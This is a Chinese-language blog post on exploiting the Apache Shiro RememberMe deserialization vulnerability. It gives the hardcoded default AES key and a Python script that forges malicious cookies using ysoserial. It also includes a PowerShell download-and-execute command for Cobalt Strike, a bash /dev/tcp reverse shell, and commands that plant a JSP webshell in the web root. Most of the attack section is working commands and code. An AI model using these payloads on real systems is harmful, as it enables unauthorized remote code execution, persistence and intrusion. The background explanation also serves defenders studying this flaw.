shiro反序列化漏洞利用

前言

Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用。

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

漏洞指纹

返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

环境搭建

win7、Tomcat 8.5.0、shiro 1.2.4、jdk 1.8
直接部署大佬编译好的war包到tomcat目录下
https://cloud.tencent.com/developer/article/1472310

shiro反序列化漏洞利用_第1张图片

shiro反序列化漏洞利用_第2张图片

返回包中存在rememberMe=deleteMe
shiro反序列化漏洞利用_第3张图片

漏洞利用

下载ysoserial.jar
https://github.com/insightglacier/Shiro_exploit

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "ping itvpzu.dnslog.cn"

运行python脚本,这里使用的是默认key,

python shiro_exp_payload.py 172.16.100.207:1099
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

成功生成RememberMe,添加复制到cookie中,进行反序列化。


shiro反序列化漏洞利用_第4张图片

shiro反序列化漏洞利用_第5张图片

shiro反序列化漏洞利用_第6张图片

dns平台成功接收到请求。


shiro反序列化漏洞利用_第7张图片

windows系统可以通过powershell直接cs上线
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:8011/a'))

linux可以使用bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/10000 0>&1

小结:
1、在平时遇到目标使用了shiro时,发现漏洞无法利用,可能对方未使用默认key,可以查看目标是否泄漏了key,或者使用网上常用的key进行尝试。
Shiro 100 Key
2、安利下斯文beast大佬写的工具,对CommonsCollections1-CommonsCollections10模块都进行了检测,还内置了常见的key。
https://github.com/sv3nbeast/ShiroScan

目标不出网

当使用shiro反序列化漏洞对目标进行攻击时,经常存在目标无法访问互联网,导致无法反弹shell的问题。

写文件

寻找目标网站上存在的文件,尽可能保证其唯一性。
通过执行命令,搜索文件,定位到网站目录,写入webshell。
linux

#把执行命令的返回输出到1.txt中,通过网站目录访问。
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `whoami` > 1.txt
#写入jsp木马到网站目录
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo 'jsp木马' > 1.jsp

windows powershell

echo $file = Get-ChildItem -Path . -Filter 20200629.jpg -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.jsp");echo "<%if(""023"".equals(request.getParameter(""pwd""))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(""i"")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print(""
"");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(""
"");}%>" ^|Out-File $f >c:\123.ps1 &&cd c:\ &&powershell.exe c:\123.ps1
shiro反序列化漏洞利用_第8张图片

中间件回显

不少大佬已经研究过针对java反序列化的命令回显方法,发现了一些利用链,但大都有一定的限制条件且对shiro兼容性差。
tomcat不出网回显连续剧第六集
Tomcat通用回显学习
可以参考李三师傅和lucifaer的解决方法。

总结

近期总结了不少关于java反序列化漏洞利用方法,因为不懂java,导致很多地方理解不了,无法进行深入拓展,后续会对java进行系统学习,理解漏洞原理,做到举一反三。

参考资料

https://y4er.com/post/java-deserialization-echo/#%E5%86%99%E6%96%87%E4%BB%B6
https://paper.seebug.org/1181/
https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/
https://zhuanlan.zhihu.com/p/115257685
https://cloud.tencent.com/developer/article/1472310
https://xz.aliyun.com/t/7535

你可能感兴趣的:(shiro反序列化漏洞利用)